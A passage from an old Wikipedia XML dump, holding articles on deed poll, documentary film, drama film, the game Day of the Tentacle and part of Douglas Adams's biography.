The most common use is a [[name change]] through a [[Deed of Change of Name]] (often simply referred to as a '''Deed Poll'''). Deeds poll are used for this purpose in countries including [[England]], [[Wales]], [[Northern Ireland]], [[New Zealand]], some [[States and territories of Australia]], the [[Republic of Ireland]], [[Hong Kong]] and [[Singapore]].

Another common use is to [[partition]] land into different sections. For example, a piece of land may be partitioned (or carved out), by a '''Deed Poll''', into Section A and the Remaining Portion thereof. This form of Deed Poll is commonly used in [[Hong Kong]], where the development and redevelopment of land is rapid and flourishing.

It should be noted that citizens of [[Scotland]] whose births are [[civil registration|registered]] there are not required to undergo deed poll to change their name - they need only inform people of their new name.  After two years the person can apply to the [[Registrar General for Scotland]] to have their [[birth certificate]] amended to show the new name.  This is in addition to changes of [[surname]] by [[marriage]].  [[Scots law]] only requires that no one changes their name with the intent to [[fraud|defraud]].

==Origin of the term==

The name ''deed'', also known in this context as a &quot;specialty,&quot; is common to signed written agreements not supported by consideration: the seal (even if not a literal wax seal but only a notional one referred to by the execution formula, &quot;Signed, sealed and delivered,&quot; or even merely &quot;Executed as a deed&quot;) is deemed to be the consideration necessary to support the contract between the parties to the deed. ''Poll'' is an [[Archaism|archaic]] legal term referring to documents with straight edges; these distinguished a deed binding only one person from one affecting more than a single person (an ''indenture'', so named during the time when such agreements would be written out repeatedly on a single sheet for each party, then irregularly torn or &quot;indented&quot; so that each party had a document with a unique tear, to discourage [[forgery]]).

{{law-stub}}

[[Category:Legal terms]]
[[Category:Contract law]]</text>
    </revision>
  </page>
  <page>
    <title>Driving license</title>
    <id>8087</id>
    <revision>
      <id>15906110</id>
      <timestamp>2002-04-06T10:27:47Z</timestamp>
      <contributor>
        <username>Enchanter</username>
        <id>1104</id>
      </contributor>
      <comment>Redirecting to title with correct spelling (at least to our US friends ;-) )</comment>
      <text xml:space="preserve">#REDIRECT [[Driver's license]]
</text>
    </revision>
  </page>
  <page>
    <title>Documentary film</title>
    <id>8088</id>
    <revision>
      <id>41990338</id>
      <timestamp>2006-03-03T02:01:17Z</timestamp>
      <contributor>
        <username>WAS</username>
        <id>309365</id>
      </contributor>
      <minor />
      <comment>/* External links */ Disney racism documentary link</comment>
      <text xml:space="preserve">'''Documentary film''' is a broad category of cinematic expression united by the intent to remain factual or [[non-fiction]]al.
==History==
===Pre-1900===
The French used the term to refer to any non-fiction including travelogues and instructional videos. The earliest &quot;moving pictures&quot; were by definition documentary.  They were single shots, moments captured on film, whether of a train entering a station, a boat docking, or a factory of people getting off work.  Early film (pre-1900) was dominated by the novelty of showing an event.  These short films were called actuality films. Very little storytelling took place before the turn of the century, due mostly to technological limitations: cameras could hold only very small amounts of film; many of the first films are a minute or less in length.

===Romanticism===
[[Image:Nanook of the north.jpg|thumb|''Nanook of the North'' movie poster.]]
With [[Robert J. Flaherty]]'s ''[[Nanook of the North]]'' in [[1922]], documentary film embraced [[romanticism]]; Flaherty went on to film a number of heavily staged romantic films, usually showing how his subjects would have lived 100 years earlier and not how they lived right then (for instance, in ''Nanook of the North'' Flaherty does not allow his subjects to shoot a walrus with a nearby shotgun, but has them use a harpoon instead, putting themselves in considerable danger).    

Some of Flaherty's staging, such as building a roofless [[igloo]] for interior shots, was done to accommodate the filming technology of the time.

===Newsreel tradition=== 
The [[newsreel]] tradition is an important tradition in documentary film; newsreels were also sometimes staged but were usually reenactments of events that had already happened, not attempts to steer events as they were in the process of happening. For instance, much of the battle footage from the early [[20th century]] was staged -- the cameramen would usually arrive on site after a major battle and reenact scenes to film them.  [[Dziga Vertov]] was involved with the Russian ''[[Kino-Pravda]]'' newsreel series (&quot;Kino-Pravda&quot; means literally, &quot;film-truth,&quot; a term that was later translated literally into the French [[cinéma vérité]]).  [[Frank Capra]]'s ''[[Why We Fight]]'' series was a newsreel series in the [[United States]], commissioned by the government to convince the U.S. public that it was time to go to war.

===Realist tradition===
The continental, or realist, tradition focused on man within man-made environments, and included the so-called &quot;city symphony&quot; films such as ''[[Berlin, Symphony of a City]]'', ''[[Rien que les Heures]]'', and ''[[Man with the Movie Camera]]''.  These films tended to feature people as products of their environment, and leaned towards the impersonal or avant-garde.

===Propagandist tradition===
[[Image:Triumph018.jpg|thumb|[[Leni Reifenstahl]] filming ''[[Triumph of the Will]]'' in [[Nuremburg]] in [[1934]].]]

The propagandist tradition consisted of films made with the explicit purpose of persuading an audience of a point.  One of the most notorious [[propaganda film]]s is [[Leni Riefenstahl]]'s film ''[[Triumph of the Will]]''.  ''Why We Fight'' was explicitly contracted as a propaganda newsreel series in response to this, covering different aspects of [[World War II]], and had the daunting task of persuading the US public to go to war.  The series has been selected for preservation in the United States' [[National Film Registry]]. In Britain, [[Humphrey Jennings]] succeeded in blending propaganda with a poetic approach to documentary.

===J. Grierson and D. Vertov===
In the [[1930s]], documentarian and film critic [[John Grierson]] argued in his essay ''First Principles of Documentary'' that Robert Flaherty's film ''[[Moana]]'' had &quot;documentary value,&quot; and put forward a number of principles of documentary.  These principles were that cinema's potential for observing life could be exploited in a new art form; that the &quot;original&quot; actor and &quot;original&quot; scene are better guides than their fiction counterparts to interpreting the modern world; and that materials &quot;thus taken from the raw&quot; can be more real than the acted article.  In this regard, Grierson's views align with Dziga Vertov's contempt for dramatic fiction as &quot;bourgeois excess,&quot; though with considerably more subtlety.  Grierson's definition of documentary as &quot;creative treatment of actuality&quot; has gained some acceptance, though it presents philosophical questions about documentaries containing stagings and reenactments.

In his essays, Vertov argued for presenting &quot;life as it is&quot; (that is, life filmed surreptitiously) and &quot;life caught unawares&quot; (life provoked or surprised by the camera).  Cinema verite borrows from both [[Italian neorealism]]'s penchant for shooting non-actors on location, and the [[French New Wave]]'s use of largely unscripted action and improvised dialogue; the filmmakers took advantage of advances in technology allowing smaller, handheld cameras and synchronized sound to film events on location as they unfold.

===Cinéma vérité===
The films ''[[Harlan County, USA]]'' (directed by [[Barbara Kopple]]), ''[[Dont Look Back]]'' ([[D. A. Pennebaker]]), ''[[Lonely Boy]]'' ([[Wolf Koenig]] and [[Roman Kroitor]]) and ''[[Chronicle of a Summer]]'' ([[Jean Rouch]]) are all considered [[cinéma vérité]]. Although sometimes used interchangeably, there are important differences between cinéma vérité ([[Jean Rouch]]) and the North American &quot;[[Direct Cinema]]&quot;, pioneered among others by French Canadian [http://fr.wikipedia.org/wiki/Michel_Brault Michel Brault], [[Pierre Perrault]], [[Richard Leacock]], [[Frederick Wiseman]] and [[Albert and David Maysles]]. The directors of the movement take different viewpoints on their degree of involvement, Kopple and Pennebaker, for instance, choosing non-involvement, and Rouch, Koenig, and Kroitor favoring direct involvement or even provocation when they deem it necessary.
The fundamentals of the style include following a person during a crisis with a moving camera (not a tripod) to capture more personal reactions. There are no sit-down interviews, and the shooting ratio (the amount of film shot to the finished product) is very high, often reaching 80:1. From there, editors find and sculpt the work into a film. The editors of the movement, Charlotte Zwerin, Muffie Myers, Susan Froemke, and Ellen Hovde are often overlooked, but their input to the film so vital that they were often given co-director credits. Famous cinéma vérité/direct cinema films include ''Showman'', ''Salesman'', ''The Children Were Watching'', ''Primary'', ''Behind a Presidential Crisis'', and ''Grey Gardens''.

===The '60s and '70s===
In the [[1960s]] and [[1970s]] documentary film was often conceived as a political weapon against [[neocolonialism]] and [[capitalism]] in general, especially in [[Latin America]], but also in the then turbulent [[Quebec]] society. ''La Hora de los hornos'' (''[[The Hour of the Furnaces]]'', from 1968), directed by [[Octavio Getino]] and [[Fernando E. Solanas]], influenced a whole generation of filmmakers.

===Compilation films===
The creation of compilation films is not a recent development in the field of documentary. It was pioneered in 1927 by [[Esfir Schub]] with'' The Fall of the Romanov Dynasty''. More recent examples include  ''Point of Order'' (1964),directed by [[Emile de Antonio]] about the McCarthy hearings and ''[[The Atomic Cafe]]'' which is made entirely out of found footage which various agencies of the U.S. government made about the safety of nuclear radiation (e.g., telling troops at one point that it's safe to be irradiated as long as they keep their eyes and mouths shut).  Meanwhile ''[[The Last Cigarette]]'' combines the testimony of various [[tobacco]] company executives before the U.S. Congress with archival propaganda extolling the virtues of smoking.

Non-fiction film can also be used to produce the more subjective reflective attitude characteristic of essays. Important essay film makers include [[Chris Marker]], [[Guy Debord]], [[Raoul Peck]] and [[Harun Farocki]].

===Modern documentaries===
[[Image:Movie_poster_fahrenheit_9-11.jpg|thumb|''Fahrenheit 9/11'' movie poster.]]
[[Box office]] analysts have noted that this film genre has become increasingly successful in theatrical release with films such as ''[[Super Size Me]]'', ''[[Fahrenheit 9/11]]'' and ''[[March of the Penguins]]'' being the most successful examples.  Compared to dramatic narrative films, documentaries typically have far lower budgets.  This has made them attractive to film companies because even a limited theatrical release can be highly profitable.

The nature of documentary films has changed in the past 20 years from the cinema verité tradition.  Landmark films such as ''[[The Thin Blue Line]]'' by [[Errol Morris]], which incorporated stylized re-enactments, and [[Michael Moore]]'s ''[[Roger and Me]]'', which made claims of chronology that were later questioned by critics such as [[Pauline Kael]], placed far more overt interpretive control in the hands of the director.  Indeed, the commercial success of the documentaries mentioned above may owe something to this narrative shift in the documentary form, leading some critics to question whether such films can truly be called documentaries; critics usually refer to these works as &quot;[[mondo films]]&quot;.  However, directorial manipulation of documentary subjects has been noted since the work of Robert Flaherty, and may be endemic to the form.

The recent success of the documentary genre, and the advent of [[DVD]]s, has made documentaries financially viable even without a cinema release. There are now around thirty quality feature-length documentaries on notable photographers, for instance, a situation that would have seemed incredible twenty years ago. Documentaries are also being released only on the internet for those with [[broadband access]], notably ''[[Stolen Honor]]'' (2004) about [[John Kerry]].

Modern documentaries have a substantial overlap with other forms of television, with the development of so-called ''[[reality television]]'' that occasionally verges on the documentary but more often veers to the fictional or staged.

The ''making-of'' documentary shows how a [[Film|movie]] or a [[Computer and video games|computer game]] was produced. Usually made for promotional purposes, it is usually closer to an advertisement than to classical documentary.

Modern lightweight digital video cameras and computer-based editing have greatly aided documentary makers, as has the dramatic drop in equipment prices.

==Lists of directors and producers of documentaries==
See [[Lists of directors and producers of documentaries]]

==See also==
*[[Docu-drama]] 
*[[List of movie-related topics|List of motion picture-related topics]]
*[[Mockumentary]]
*[[Mondo film]]
*[[Nature documentary]]
*[[Pseudodocumentary]]
*[[Webumentary]]

===Documentary film festivals===
*[[International Documentary Filmfestival Amsterdam]]
*[[Full Frame Documentary Film Festival]] - North Carolina
*[[Festival International de film documentaires &quot;Cinéma du Réel&quot;]] - France
*[[Dokumentarfilmfestival Leipzig]] - Germany
*[[Yamagata International Documentary Festival]] - Japan
*[http://www.dokfest-muenchen.de DOK.FEST International Documentary Festival Munich] - Germany
*[http://hsdfi.org Hot Springs Documentary Film Festival] - Hot Springs, Arkansas
*[http://www.sidf.co.uk Sheffield International Documentary Festival] - UK
*[http://www.hotdocs.ca Hot Docs Canadian International Documentary Festival] – [[Toronto]], [[Canada]]
*[http://www.docnzfestival.com DOCNZ New Zealand International Documentary Film Festival] - New Zealand

===Significant institutes dealing with documentary===
*[[Documentary Filmmakers Group, UK]]
*[[National Film Board of Canada]]
*[[EMB Film Unit]]
*[[International Documentary Association]]
*[[American Film Foundation]]
*[[Film Arts Foundation]]
*[http://www.docuinter.net Institute of Documentary Film]

==Literature==
*Ian Aitken (ed) ''Encyclopedia of the Documentary Film'', Routledge, 2005
*[http://www.lib.berkeley.edu/MRC/documentarybib.html Documentary Film Bibliography (via UC Berkeley)]
*[[Erik Barnouw]],'' Documentary. A History of the Non-Fiction Film,'' Oxford University Press 1993 - still a useful introduction
* Julianne Burton (ed.), ''The social documentary in Latin America'', Pittsburgh, Pa. : University of Pittsburgh Press 1990 
* Jonathan Dawson, &quot;Dziga Vertov&quot;; http://www.sensesofcinema.com/contents/directors/03/vertov.html
*[[Bill Nichols]], ''Representing Reality: Issues and Concepts in Documentary'', Indiana University Press 1991
*[[Paul Rotha]], ''Documentary diary; an informal history of the British documentary film'', 1928-1939,  New York, Hill and Wang 1973
*Janet Walker and Diane Waldeman, ''Feminism and Documentary'', Minneapolis: University of Minnesota Press 1999.
*Markus Nornes, ''Japanese Documentary Film: The Meiji Era through Hiroshima'',University of Minnesota Press 2003
*Jim Leach (ed.), ''Candid eyes : essays on Canadian documentaries'', University of Toronto Press, 2003

==Documentaries about documentary filmmakers==
*Devotion. A film about [[Ogawa Productions]], Director: [[Barbara Hammer]], 2000

==External links==
*[http://www.americanfilmfoundation.com American Film Foundation: Award-Winning not-for-profit Documentary Production Foundation]
*[http://www.dfglondon.com/ The Documentary Filmmakers Group, UK's largest documentary organisation]
*[http://www.doculink.org/ Doculink - a free online community of over 1000 docmakers]
*[http://www.city.yamagata.yamagata.jp/yidff/docbox/docbox-e.html Documentary Box]
*[http://www.der.org/ Documentary Educational Resources &amp;ndash; Documentary distribution and production since 1968]
*[http://www.docurama.com/ Docurama - the first and only video label devoted entirely to documentary film]
*[http://www.docuseek.com Docuseek - Search site for independent documentary, social issue, and educational videos]
*[http://www.insightnewstv.com Insight News TV (Online Documentary Films)]
*[http://www.docuinter.net Institute of Documentary Film - Prague, Czech Republic]
*[http://www.documentary.org/ International Documentary Association]
*[http://www.mediaed.org/videos/CommercialismPoliticsAndMedia/MickeyMouseMonopoly/studyguide/html ''Mickey Mouse Monopoly'', a documentary on Disney racism]
*[http://www.myprimers.com/my_primers/documentary_film/ My Primers: Making a short documentary film]
*[http://www.realityfilm.com Reality film: An online resource for documentary film and video]
*[http://www.documentary-film.net Upload Videos Free, Watch Movies Online]
*[http://www.greencine.com/static/primers/docs1.jsp GreenCine primer on Documentaries]
*[http://www.ridm.qc.ca/ Rencontres internationales du documentaire de Montréal]

===Distributors of documentary films===
*[http://www.commonflix.org/ CommonFlix] Sell and distribute your documentary online
*[http://www.newsreel.org/ California Newsreel]
*[http://www.frif.com/ First Run Icarus Films]
*[http://www.cactusthree.com/ Cactus Three]


===Documentaries available to watch online===
*[http://www.ansarburney.org/videolinks/video-hbo1.html Sport of Sheikhs] - Emmy and duPont award winning documentary on child slavery in the Middle East
*[http://www.ansarburney.org/videolinks/video-macedonia_killings.html/ War on Terror] - documentary on the staged killing of 7 innocent men in the name of &quot;war on terror&quot;

[[Category:Documentary films|*]]
[[Category:Film]]
[[Category:Documentaries|*]]

[[bg:Документален филм]]
[[Dokumentární film]]
[[da:Dokumentarfilm]]
[[de:Dokumentarfilm]]
[[es:Documental]]
[[fr:Film documentaire]]
[[ja:ドキュメンタリー]]
[[hu:Dokumentumfilm]]
[[nl:Documentaire]]
[[pl:Film dokumentalny]]
[[ro:Film documentar]]
[[ru:Документальное кино]]
[[sv:Dokumentärfilm]]</text>
    </revision>
  </page>
  <page>
    <title>Drama film</title>
    <id>8089</id>
    <revision>
      <id>41709367</id>
      <timestamp>2006-03-01T05:23:40Z</timestamp>
      <contributor>
        <username>Pegship</username>
        <id>355698</id>
      </contributor>
      <minor />
      <comment>semantics</comment>
      <text xml:space="preserve">A '''''drama film''''' is a [[film]] that depends mostly on in-depth character development, interaction, and highly emotional themes.  In a good drama film, the audience are able to experience what other characters are feeling and identify with someone.  

This genre could be especially useful by challenging the ignorance from stereotypes or any other overly simplistic generalisations by bringing it down to a more personal and complex level.  As well, such movies could also be theraputic by showing how characters cope with their problems, challenges, or issues, and to the extent the viewer can identify with the characters with his or her own world.   

This film genre can be contrasted with an [[action film]] which relies on fast-paced action and develops characters sparsely.  

==See also==
* [[List of drama films]]

{{Drama-film-stub}}

[[Category:Film genres|Drama]]</text>
    </revision>
  </page>
  <page>
    <title>Day of the Tentacle</title>
    <id>8090</id>
    <revision>
      <id>42128599</id>
      <timestamp>2006-03-04T00:30:14Z</timestamp>
      <contributor>
        <username>JiFish</username>
        <id>237070</id>
      </contributor>
      <comment>rv linkspam</comment>
      <text xml:space="preserve">{{Infobox CVG| title = Maniac Mansion: Day of the Tentacle
| image = [[Image:Day-of-the-tentacle-cover-art.jpg|200px|]]
| developer = [[LucasArts]]
| publisher = [[LucasArts]]
| designer = [[Dave Grossman]], [[Tim Schafer]]
| engine = [[SCUMM]]
| released = [[1993]]
| genre = [[Adventure game]]
| modes = [[Single player]]
| ratings = [[ESRB]]: K-A, [[USK]]: 12+
| platforms = [[Personal computer|PC]]:[[DOS]], [[Apple Macintosh|Macintosh]]
| media = 3 1/2&quot; [[Floppy disk]], [[CD-ROM]]
| requirements =
| input = [[Mouse]]
}}
'''''Maniac Mansion: Day of the Tentacle''''' ('''DoTT''') is a graphical [[adventure game]], originally released in [[1993]], and published by [[LucasArts]]. It is the eighth game to use the [[SCUMM]] engine.

The game was released simultaneously on [[floppy disk]] and [[CD-ROM]], with the CD-ROM version featuring a full [[voiceover]] [[soundtrack]]. ''Day of the Tentacle'' was designed by [[Dave Grossman]] and [[Tim Schafer]].

==Storyline==
{{spoiler}}
''Day of the Tentacle'' begins five years after the events in ''[[Maniac Mansion]]''.  Of the seven playable characters in the first game, only Bernard Bernoulli, a stereotypical [[nerd]] character, makes a return appearance.  This time, Bernard has a starring role, as he leads his two new friends, Hoagie and Laverne, back to the Mansion.  One of Dr. Fred Edison's two creations, the Purple Tentacle, drinks radioactive waste from the Mansion, growing two stubby appendages for arms and an appetite for [[global domination]]. Bernard and friends plan to travel back in time, using Dr. Fred's  [[Port-a-john|Port-a-Potty]]-turned-[[time machine]]s (dubbed &quot;Chron-o-John&quot;s), to stop Purple from drinking the toxic waste in the first place.

Unfortunately, the cheap imitation diamond in Dr. Fred's time machine fails, leaving Hoagie 200 years in the past (where he can meet such famous historical figures as [[George Washington]] and [[Benjamin Franklin]]), Laverne 200 years in the future (where Purple Tentacle's dreams for domination have come true) and Bernard still in the present. Bernard, with the assistance of budding rock star Green Tentacle, has to find a non-imitation diamond in order to make the time machine functional once more, and Hoagie and Laverne both have to get back to their time machines and connect them to a power source, in order to team up again and finally defeat Purple Tentacle. The game uses the three time streams effectively, with several puzzles depending on actions in one era affecting the other eras.

One of the most notable features of ''Day of the Tentacle'' is that it includes the entire original ''Maniac Mansion'' as a game-within-a-game. To play it, simply use Weird Ed's computer (in the Macintosh version of the game, the computer needs to be used five times in a row).

The game has several puzzles that require the player to perform actions in the past that affect the future. For example, a vacuum cleaner advertisment flyer can be inserted into the suggestion box for the American constitution; consequently a clause is added to the constitution that every American should have a vacuum cleaner in their basement. And consequently, in the future when vacuum cleaners have actually been ''invented'', you can find one and use it.

==Historical interaction==
{{spoiler}}
One of the unique aspects of ''Day of the Tentacle'''s plot is that it gives the game player the opportunity to interact with computer-generated versions of several important historical figures from [[Colonial America]], namely [[George Washington]], [[Thomas Jefferson]], [[Benjamin Franklin]], [[John Hancock]] and [[Betsy Ross]].  Their personality traits are exaggerated for comic effect.  Some of the more entertaining puzzles/challenges of the game involve these characters. Their descendants (or at least [[Sprite (computer graphics)|sprite]]s that look like them) can be seen in the other ages (present time and future time). 
[[Image:Dottscreen.png|thumb|left|250px|''Day of the Tentacle'' characters (l to r) John Hancock, Thomas Jefferson, Hoagie and George Washington]]
In one sequence, Hoagie must give an exploding cigar to Washington in order to replace his famous [[false teeth]] with chattering novelty mechanical dentures, while in another he gives a drawing of a tentacle to Ross, who sews it into the [[American flag]].

By painting the fruits of a [[Kumquat]] tree red, the player forces Washington to chop down the created &quot;Cherry&quot; tree, also a myth concerning Washington's youth.

==Gameplay==
[[Image:Dott-screenshot.png|right|thumb|200px|The Purple Tentacle, seen here shortly after his mutation in the opening cinematic, is the main antagonist in ''Day of the Tentacle''.]]
''Day of the Tentacle'' follows the [[point-and-click]] two-dimensional [[adventure game]] formula, first established by the original ''Maniac Mansion''.  Players direct the controllable characters around the game world by clicking with the computer mouse.  To interact with the game world, players choose from a set of commands arrayed on the screen and then on an object in the world. This was the last SCUMM game to use the original interface of having the bottom half of the screen being taken up by a verb selection and inventory; starting with the next game to use the SCUMM engine, [[Sam and Max Hit the Road]], the engine was modified to scroll through a more concise list of verbs with the right mouse button and having the inventory on a separate screen. In ''Day of the Tentacle'', the player can switch between any one of the three playable characters at any time.  The three protagonists can also share inventory items amongst themselves (at least, those items that can be stowed in a toilet), a feature that plays into many of the game's puzzles.

In ''Maniac Mansion'', the playable characters can be killed by various sequences of events.  LucasArts adopted a different philosophy towards its adventure games in 1990, beginning with ''[[The Secret of Monkey Island]]''.  Their philosophy was that the game should not punish the player for exploring the game world.  Accordingly, in most of the adventure games released by LucasArts after ''Monkey Island'' (including ''Day of the Tentacle''), the player character(s) cannot die (there is one exceptional sequence in which the player character of ''Monkey Island'' could perish; see that game's article for more information).

==Sequels==
There have been a few fan groups in Germany who have started developing fan-games, but [[as of 2005]], none of them are complete.  As of this time, LucasArts seems to be very unreceptive to the idea of making any more adventure games or allowing others to commercially develop their old licenses.

==See also==
*''[[Maniac Mansion]]''
*[[LucasArts adventure games]]
*[[ScummVM]]

==External links==
*[http://www.lucasstyle.com/maniaczombies/news.htm Maniac Zombies]
*[http://dadott.reelfilm.com/ Day After the Day of the Tentacle] (a webcomic)
*[http://dadott.zonadictos.net/ Day After the Day of the Tentacle] (Spanish translation)
*[http://www.mobygames.com/game/dos/day-of-the-tentacle MobyGames' entry for ''Day of the Tentacle'']
*[http://www.netjak.com/review.php/372 Netjak Review of Day of The Tentacle]
*[http://www.dott2.de/ Day of the Tentacle 2 - a german sequel game fan project]
*[http://top100.ign.com/2005/051-060.html IGN's Top 100 Games as of 2005] - Day of the Tentacle gets #60

[[Category:1993 computer and video games]]
[[Category:Adventure games]]
[[Category:Comedy computer and video games]]
[[Category:DOS games]]
[[Category:LucasArts games]]
[[Category: Apple Macintosh games]]
[[Category:Science fiction computer and video games]]
[[Category:ScummVM supported games]]

[[de:Day of the Tentacle]]
[[es:Day of the Tentacle]]
[[fr:Day of the Tentacle]]
[[he:יומו של הטנטקל]]
[[nl:Day of the Tentacle]]</text>
    </revision>
  </page>
  <page>
    <title>Douglas Adams</title>
    <id>8091</id>
    <revision>
      <id>42155916</id>
      <timestamp>2006-03-04T04:42:33Z</timestamp>
      <contributor>
        <username>SDS</username>
        <id>408274</id>
      </contributor>
      <minor />
      <comment>Removed 'bob'</comment>
      <text xml:space="preserve">&lt;!-- Do *not* change spelling of &quot;Hitchhiker's&quot;; see talk page for details --&gt;
[[Image:Douglasadams.jpg|thumb|200px|Douglas Noël Adams in an undated publicity photograph by [[Jill Furmanovsky]]. {{ref|PromoPhoto}} ]] 
'''Douglas Noël Adams''' ([[March 11]], [[1952]] &amp;ndash; [[May 11]], [[2001]]), known to some fans as ''Bop Ad'' (after his illegible signature), or by his initials &quot;DNA&quot;, was a [[cult figure|cult]] [[United Kingdom|British]] comic [[radio drama|radio dramatist]], amateur musician and [[author]], most notably of the ''[[The Hitchhiker's Guide to the Galaxy|Hitchhiker's Guide to the Galaxy]]'' series (''HHGG'' or ''H2G2''). ''Hitchhiker's'' began on radio, and developed into a [[The Hitchhiker's Guide to the Galaxy (book)|&quot;trilogy&quot; of five books]] (which sold more than fifteen million copies during his lifetime) as well as a [[The Hitchhiker's Guide to the Galaxy (TV series)|television series]], a [[towel]], a [[The Hitchhiker's Guide to the Galaxy (computer game)|computer game]] and a [[The Hitchhiker's Guide to the Galaxy (film)|feature film]] that was completed after Adams's death.

In addition to ''The Hitchhiker's Guide to the Galaxy'', Douglas Adams wrote or co-wrote three stories of science fiction staple ''[[Doctor Who]]'', and served the series as Script Editor during the seventeenth season. His other written works include the ''[[Dirk Gently's Holistic Detective Agency|Dirk Gently]]'' novels, and co-author credits on two ''[[Meaning of Liff|Liff]]'' books and ''[[Last Chance to See]]'', itself based on a radio series. Adams also originated the idea for the computer game ''[[Starship Titanic]]'', which was realized by a company that Adams co-founded, and adapted into a novel by [[Terry Jones]]. A posthumous collection of essays and other material, including an incomplete novel, was published as ''[[The Salmon of Doubt]]'' in 2002. His fans and friends also knew Adams as an environmental activist and a lover of fast cars, cameras, the [[Apple Computer|Apple]] [[Apple Macintosh|Macintosh]], and other &quot;techno gizmos.&quot; He was a keen technologist, using such inventions as [[e-mail]] and [[Usenet]] before they became widely popular, or even widely known.

Adams was a self-described &quot;radical [[atheist]]&quot;. Towards the end of his life, he was a sought-after lecturer on topics including technology and the environment.  Since his death at the age of 49, he is still widely revered in [[science fiction]] and [[fantasy]] [[fandom]] circles.

==Early life==
&lt;!-- Please leave this section heading as is, for the chronology of events. Adams's own family (wife and daughter) are discussed later. --&gt;
			
Douglas Adams was born to Janet (Donovan) Adams (now Janet Thrift) and Christopher Douglas Adams in [[Cambridge]], [[England]]. His parents had one other child together, Susan, who was born in March 1955. His parents separated and divorced in 1957, and Douglas, Susan, and Janet moved in with Janet's parents, the Donovans, in [[Brentwood, Essex]]. Douglas's grandmother kept her house as an official [[Royal Society for the Prevention of Cruelty to Animals|RSPCA]] refuge for hurt animals, which &quot;exacerbated young Douglas's hayfever and asthma.&quot; {{ref|2005Webb01}}

Christopher Adams remarried in July 1960, to Mary Judith Stewart (born Judith Robertson). From this marriage, Douglas Adams had a half-sister, Heather. Janet remarried in 1964, to a veterinarian, Ron Thrift, providing two more half-siblings to Douglas: Jane and James Thrift.

==Education and early works==
Adams first attended Primrose Hill Primary School in [[Brentwood, Essex]]. He took the exams and interviewed for [[Brentwood School (Brentwood, England)|Brentwood School]] at age six, and attended the Preparatory School from 1959 to 1964, then the main school till 1970. He was in the top stream, and specialised in the arts in the sixth form, after which he stayed an extra term in a special seventh form class, customary in the school for those preparing for Oxbridge entrance exams. 

While at the prep school, he had an English class, taught by Frank Halford, where Halford awarded Adams the only ten out of ten of his entire teaching career for a creative writing exercise. Adams remembered this for the rest of his life, especially when facing writer's block. Some of Adams's earliest writing was published at the school, such as a report on the school's Photography Club in ''The Brentwoodian'' (in 1962) or spoof reviews in the school magazine ''Broadsheet'' (edited by [[Paul Neil Milne Johnstone]]). Adams also had a letter and short story published nationally in the UK in the boys' magazine ''The Eagle'' in 1965. He met [[Griff Rhys Jones]], who was in the year below, at the school, and was in the same class as &quot;Stuckist&quot; artist [[Charles Thomson (artist)|Charles Thomson]]; all three appeared together in a production of Shakespeare's Julius Caesar in 1968. He was six feet tall (1.83 m) by the time he was 12, and he stopped growing only at 6'5&quot; (1.96 m). 

On the strength of a bravura essay on religious poetry that mixed the [[Beatles]] with [[William Blake]], he was awarded a place at [[St John's College, Cambridge|St John's College]], [[University of Cambridge|Cambridge]] to read [[English literature|English]], entering in 1971. {{ref|ODNB}} Adams attempted early on to get into the [[Footlights]] Dramatic Club, with which several other names in British Comedy had been affiliated. He was, however, turned down, and started to write and perform in revues with Will Adams (no relation) and [[Martin Smith]], forming a group called &quot;Adams-Smith-Adams.&quot; Later, on another attempt to join Footlights, Douglas Adams was encouraged by [[Simon Jones (actor)|Simon Jones]] and Adams found himself working with Rhys Jones, among others. In 1974, Adams graduated with a [[Bachelor of Arts|B.A.]] in [[English literature]].

Some of his early work appeared on [[BBC2]] (television) in 1974, in an edited version of the ''Footlights Revue'' from Cambridge, that year. A version of the same revue performed live in [[London]]'s [[West End of London|West End]] led to Adams being &quot;discovered&quot; by [[Monty Python]]'s [[Graham Chapman]]. The two formed a brief writing partnership, and Adams earned a writing credit in one episode (episode 45: &quot;Party Political Broadcast on Behalf of the Liberal Party&quot;) of ''[[Monty Python's Flying Circus]]''. In the sketch, a man who had been stabbed by a nurse arrives at his doctor's office bleeding profusely from the stomach, when the doctor makes him fill out numerous senseless forms before he can administer treatment (a joke he later incorporated into the [[Vogon]]s' obsession with paperwork). Adams also contributed to a sketch on the album for ''[[Monty Python and the Holy Grail]]''.

[[Image:DNA in Monty Python.jpg|thumb|right|200px|Douglas Adams in his first ''[[Monty Python's Flying Circus|Monty Python]]'' appearance, in full surgeon's garb in episode 42.]]

Douglas also had two &quot;blink and you miss them&quot; appearances in the fourth series of ''Monty Python's Flying Circus''. At the beginning of Episode 42, &quot;The Light Entertainment War,&quot; Adams is in a surgeon's mask (as Dr. Emile Koning, according to the on-screen captions), pulling on gloves, while [[Michael Palin]] narrates a sketch that introduces one person after another, and never actually gets started. At the beginning of Episode 44, &quot;Mr Neutron,&quot; Adams is dressed in a &quot;pepperpot&quot; outfit and loads a missile onto a cart, driven by [[Terry Jones]], who is calling out for scrap metal (&quot;Any old iron...&quot;). The two episodes were first broadcast in November 1974. Adams and Chapman also attempted a few non-Python projects, including ''[[Out of the Trees]].''

Some of Adams's early radio work included sketches for ''[[The Burkiss Way]]'' in 1977 and ''[[The News Huddlines]]''. He also co-wrote, again with Graham Chapman, the [[20 February]] [[1977]] episode of Doctor on the Go, a sequel to the [[Doctor in the House (TV series)|Doctor in the House]] television comedy series.

As Adams had difficulty selling his jokes and stories, he took a series of &quot;odd jobs&quot; in order to have some income. A biography from an early edition of one of the ''HHGG'' novels provides the following description of his early career:
:After graduation he spent several years contributing material to radio and television shows as well as writing, performing, and sometimes directing [[revue| stage revues]] in [[London]], Cambridge and at the [[Edinburgh Fringe]]. He has also worked at various times as a [[hospital]] porter, [[barn]] builder, [[chicken]] shed cleaner, [[bodyguard]], [[radio producer]] and [[script editor]] of ''[[Doctor Who]]''.
Adams held the job as a bodyguard in the mid-1970s. He was employed by an Arab family, which had made its fortune in oil (and were from [[Qatar]], according to the ''Encyclopedia Britannica''). {{ref|EB_Adams}} He had a couple of favourite anecdotes about the job: one story related that the family once ordered one of everything from a hotel's menu, tried all of the dishes, and sent out for hamburgers. Another story had to do with a prostitute, sent to the floor Adams was guarding one evening. They acknowledged each other as she entered, and an hour later, when she left, she is said to have remarked, &quot;At least you can read while you're on the job.&quot; {{ref|Webb2005_93}}

[[Image:Remarkable Fidgety River Title.jpg|thumb|left|200px|Title card from the ''[[Doctor Snuggles]]'' episode &quot;The Remarkable Fidgety River&quot;, written by Douglas Adams and [[John Lloyd (writer)|John Lloyd]].]]

